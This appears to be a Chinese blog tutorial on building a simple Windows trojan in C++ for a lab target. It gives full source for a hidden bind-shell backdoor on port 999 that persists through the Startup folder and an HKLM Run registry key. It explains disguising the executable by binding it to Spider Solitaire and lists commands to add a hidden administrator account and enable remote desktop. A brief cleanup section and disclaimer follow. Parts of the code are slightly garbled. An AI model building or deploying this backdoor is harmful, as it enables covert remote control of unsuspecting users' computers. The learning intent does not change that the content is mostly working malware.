⼿动编写windows简单⽊马
声明:本帖仅作技术交流,切莫⽤于⾮法⽤途。否则造成的⼀切法律责任与作者⽆关。
"使⽤C++实现⼀个简单的⽊马,实现⽊马的远程控制功能,能够开机⾃启动和伪装或隐藏,最后通过清除本⽊马,掌握常规的⽊马排查和查杀⽅法。"
⼯具:vc++6.0
攻击机:win10(ip随机) 靶机:192.168.1.129
⼀、⽊马是什么?
这是⼀个⽼⽣常谈的问题,⽊马(Trojan)这个名字来源于古希腊传说(荷马史诗中⽊马计的故事,Trojan⼀词的本意是特洛伊的,即代指特洛伊⽊马,也就是⽊马计的故事)。
⼆、⽊马隐藏技术
⽊马会想尽⼀切办法隐藏⾃⼰,主要途径有:在任务栏中隐藏⾃⼰,这是最基本的办法。只要把Form的Visible属性设为False,ShowInTaskBar设为False,程序运⾏时就不会出现在任务栏中了(MFC编程)。
在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装⾃⼰。当然它也会悄⽆声息地启动,⿊客当然不会指望⽤户每次启动后点击“⽊马”图标来运⾏服务端,“⽊马”会在每次⽤户启动时⾃动装载。Windows系统启动时⾃动加载应⽤程序的⽅法,“⽊马”都会⽤上,如:启动组、Win.ini、System.ini、注册表等都是“⽊马”藏⾝的好地⽅。⽊马与计算机⽹络中常常要⽤到的远程控制软件有些相似,但由于远程控制软件是“善意”的控制,因此通常不具有隐蔽性;“⽊马”则完全相反,⽊马要达到的是“偷窃”性的远程控制,如果没有很强的隐蔽性的话,那就是“毫⽆价值”的。
三、⽊马程序原理:
⽊马病毒的⼯作原理:⼀个完整的特洛伊⽊马套装程序含了两部分:服务端(服务器部分)和客户端(控制器部分)。植⼊对⽅电脑的是服务端,⽽⿊客正是利⽤客户端进⼊运⾏了服务端的电脑。运⾏了⽊马程序的服务端以后,会产⽣⼀个有着容易迷惑⽤户的名称的进程,暗中打开端⼝,向指定地点发送数据(如⽹络游戏的密码,即时通信软件密码和⽤户上⽹密码等),⿊客甚⾄可以利⽤这些打开的端⼝进⼊电脑系统。
四、编写后门型⽊马:
编写⼀个反弹shell的⽊马,能够伪装成其他应⽤程序(扫雷游戏,或者表⽩代码等伪装程序),点击运⾏后能够打开特定的端⼝(或可使⽤端⼝复⽤技术,更适合与服务器),等待客户端连接,客户端
使⽤telnet后,便可反弹拿到shell,然后为所欲为(创建新的账号密码,远程桌⾯连接等)。
⽊马能够实现开机⾃启动,任务管理器中在应⽤程序⼀栏消失,在进程⼀栏中伪装成其他进程。
1.⽊马的功能模块图
2.代码实现各个部分
开机⾃启动
windwos有⼀个⾃启动⽂件夹。在系统启动时会⾃动运⾏开始->启动⼦菜单中的所有项⽬
注意:在Documents and Settings⽂件下有多个⽂件夹。
Administrator⽂件夹下的是对当前⽤户的专有账户⽣效
All Users⽂件下是对所有⽤户⽣效
所以⼀般为了⽅便我们都放在All Users⽂件下
要想实现它,我这⾥先介绍两个函数:
UINT GetSystemDirectory(LPTSTR lpBuffer,UINT uSize);
DWORD GetModuleFileName(HMODULE hModule,LPTSTR lpFilename,DWORD nSize);
1)UINT GetSystemDirectory()函数
这个函数的参数 lpBuffer会返回系统路径,我们提取前⾯两位就是就可以得到系统分区,例如“C:”
2)DWORD GetModuleFileName()函数
这个函数是返回我们程序⾃⾝的完整路径
完整代码:
///写⼊注册表///
GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name, sizeof(key_name), ".\\config.ini");//键
GetPrivateProfileStringA("Main","ProcessPath",FileName,process_path,sizeof(process_path), ".\\config.ini");//值
加⼊注册表
⾃启动注册表路径有许多,⼤家可以⾃⼰了解⼀下,最常⽤的有:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
这⾥我们选择第⼀个,来编写代码,我们⽤到的主要函数只有⼀个:
///写⼊注册表///
GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name, sizeof(key_name), ".\\config.ini");//键
GetPrivateProfileStringA("Main","ProcessPath",FileName,process_path,sizeof(process_path), ".\\config.ini");//值
我们分别设置了注册表的键和值,键为:kinni,值为FileName,FileName为⽊马⽂件的绝对路径
开启端⼝
主要的办法是:建⽴CSocket开始,然后绑定端⼝999,接下来监听这个端⼝,然后接收来⾃客户端的命令,最后关闭这个CSocket。这是⼀个⽐较简单的正向连接后门程序。这个程序之所以说⽐较简单,系统重启这个⽊马就会被清除了。
创建socket连接的代码⽐较简单,⼤家都会,百度⼀⼤堆,就不再解释。
先说个⼩技巧:因为我们写的cmd⽊马,整个过程我们都不需要显⽰出cmd的⿊窗窗,所以我们可以把cmd窗⼝直接屏蔽掉,使⽤:
//设置链接器选项
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
因为我们最后要反弹本地shell给客户端,所以我们要先拿到本地的路径。
//获取CMD路径
GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
//COMSPEC是代表cmd,获取更多环境变量可以查看⼀下本函数的更多参数
我们将所有代码整合⼀下,得到完整代码:
#pragma comment(lib,"ws2_32.lib")
//设置连接器选项
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <winsock2.h>
#include<windows.h>
#include<stdio.h>
#define MasterPort 999 //定义监听端⼝
void open_telnet(){
WSADATA WSADa;//⽤来存储被WSAStartup函数调⽤后返回的win sockets数据
sockaddr_in SockAddrin;
SOCKET CSocket, SSocket;
int AddrSize;
PROCESS_INFORMATION Processinfo;
STARTUPINFO Startupinfo;
char szCMDPath[255];
//配内存资源,初始化数据
ZeroMemory(&Processinfo, sizeof(PROCESS_INFORMATION));
ZeroMemory(&Startupinfo, sizeof(STARTUPINFO));
ZeroMemory(&WSADa, sizeof(WSADATA));
//获取CMD路径
GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
/
/加载ws2_32.dll
WSAStartup(0x202, &WSADa);
createprocessa
//设置本地信息和绑定协议,建⽴socket
SockAddrin.sin_family = AF_INET;
SockAddrin.sin_addr.s_addr = INADDR_ANY;
SockAddrin.sin_port = htons(MasterPort);
CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//设置绑定断端⼝999
bind(CSocket, (sockaddr*)&SockAddrin, sizeof(SockAddrin));
//设置服务器监听端⼝
listen(CSocket, 1);
AddrSize = sizeof(SockAddrin);
//开始连接远程服务器,并配置隐藏窗⼝结构体
SSocket = accept(CSocket, (sockaddr*)&SockAddrin, &AddrSize);
Startupinfo.cb = sizeof(STARTUPINFO);
Startupinfo.wShowWindow = SW_HIDE;
Startupinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
Startupinfo.hStdInput = (HANDLE)SSocket;
Startupinfo.hStdOutput = (HANDLE)SSocket;
Startupinfo.hStdError = (HANDLE)SSocket;
//创建匿名管道
CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &Startupinfo, &Processinfo);
WaitForSingleObject(Processinfo.hProcess, INFINITE);
CloseHandle(Processinfo.hProcess);
CloseHandle(Processinfo.hThread);
//关闭进程句柄
closesocket(CSocket);
closesocket(SSocket);
WSACleanup();
//关闭连接卸载ws2_32.dll
}
int regedit(HKEY key, const char* reg_name, const char* key_name, const char* key_value)
{
HKEY hkResult;
int ret=RegOpenKeyEx(key, reg_name, 0, KEY_ALL_ACCESS, &hkResult);
if(ret != 0)
return ret;
ret=RegSetValueEx(hkResult, key_name, 0, REG_EXPAND_SZ, (CONST BYTE*)key_value, 75);
if(ret==0)
{
RegCloseKey(hkResult);
return0;
}
else
{
return ret;
}
}
int autopen(const char* key_name, const char* process_path)
{
char reg_name[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
return regedit(HKEY_LOCAL_MACHINE, reg_name, key_name, process_path);
}
int main(void)
{
char key_name[100];
char process_path[1024];
///写⼊启动⽂件夹////
char FileName[MAX_PATH];//存储程序⾃⾝的绝对路径
char TempPath[MAX_PATH];//存储系统存放路径,主要获取系统盘盘符
char TempBuffer[MAX_PATH];
GetModuleFileName(NULL,FileName,sizeof(FileName));
GetSystemDirectory(TempPath,sizeof(TempPath));
sprintf(TempBuffer,"%c%c\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\",TempPath[0],TempPath[1]);
CopyFile(FileName,TempBuffer,TRUE);  //将程序复制到启动⽂件夹中
///写⼊注册表///
GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name,  sizeof(key_name), ".\\config.ini");
GetPrivateProfileStringA("Main", "ProcessPath", "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\", process_path,  sizeof(process_path), ".\\config.ini");  int ret = autopen(key_name, process_path);
open_telnet();//远程telnet
return0;
}
⽂件伪装
如上,我们代码编译运⾏后,得到⼀个exe⽂件,但是我们隐藏了命令⾏窗⼝,所以点击运⾏后,不会有任何反应。
但是谁都不会傻到直接运⾏这么⼀个什么都没有的代码,我们要跟其他的程序,绑在⼀起,偷偷执⾏,让靶机⽤户不知情。
我们可以从⽹上到⼀些辅助⼯具,来帮助我们。我了⼀款叫做的软件。
这个程序可以将两个可执⾏⽂件捆绑为⼀个,但是在点击运⾏的时候,会同时运⾏两个⽂件。对我们的⽊马来说,简直就是量⾝定制。
⾸先,将前⾯我们提到的功能,做⼀个封装,写成⼀个exe⽂件:叫做(后⾯为了伪装效果,更改了程序名为)
再来看看现在的启动⽂件夹和注册表内容:
Ok,⾮常好。
运⾏⼀下我们的exe⽂件
可以看到启动⽂件夹和注册表项中,已经添加了。
功能正常,现在我们将它和正常的程序绑在⼀起,这⾥选择了蜘蛛纸牌,当然我们可以选择⾃⼰写的其他有趣的代码。
3.⽊马测试
⾸先肯定是靶机需要运⾏⼀次上⾯这个⽊马,才可以连接。
连接测试
接下来,我们就来测试⼀下,我们是否能远程连接到靶机。尝试使⽤另⼀台电脑(win10+Powershell)进⾏连接
成功弹回了shell。
靶机观察
运⾏后,我们观察任务管理器:只显⽰蜘蛛纸牌,⾮常nice!
我们再来看看进程下⾯,
重启再连接
电脑刚打开,提⽰开机时间时,已经可以连接到⽬标。
4.更多操作
我们连接到远程shell后,可以新建⼀个⽤户,然后加⼊管理员组。
net user admin /add    //创建admin ⽤户密码为空net localgroup adminators admin /add    //赋予admin⽤户,管理员权限
然后开启远程桌⾯功能(也就是3389端⼝),连接后将⾃⼰这个⽤户隐藏掉。
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f but…我在这⾥,并没有开启,原因是命令⾏提⽰我参数过多,可能是telnet过来的命令⾏,有点问题。
⼤家感兴趣可以⾃⼰试试。
五、⽊马清除
清除⽊马,因为本⽊马使⽤了伪装,复制和注册表项,我们需要⼀⼀清除:
⾸先打开任务管理器,关闭蜘蛛纸牌应⽤程序,从进程中到所有者为administrator,结束掉该进程;
然后,打开本地C盘启动⽂件夹,删除程序;
同时,删除本地的捆绑了⽊马的蜘蛛纸牌(或其他应⽤);
最后,打开注册表,进⼊⾃启动项(有很多,Run下⾯的都要仔细检查,但是本⽊马使⽤了⽐较经典的位
置),HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,删除包含的对应键值关系。重启电脑。
【写在后⾯】

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。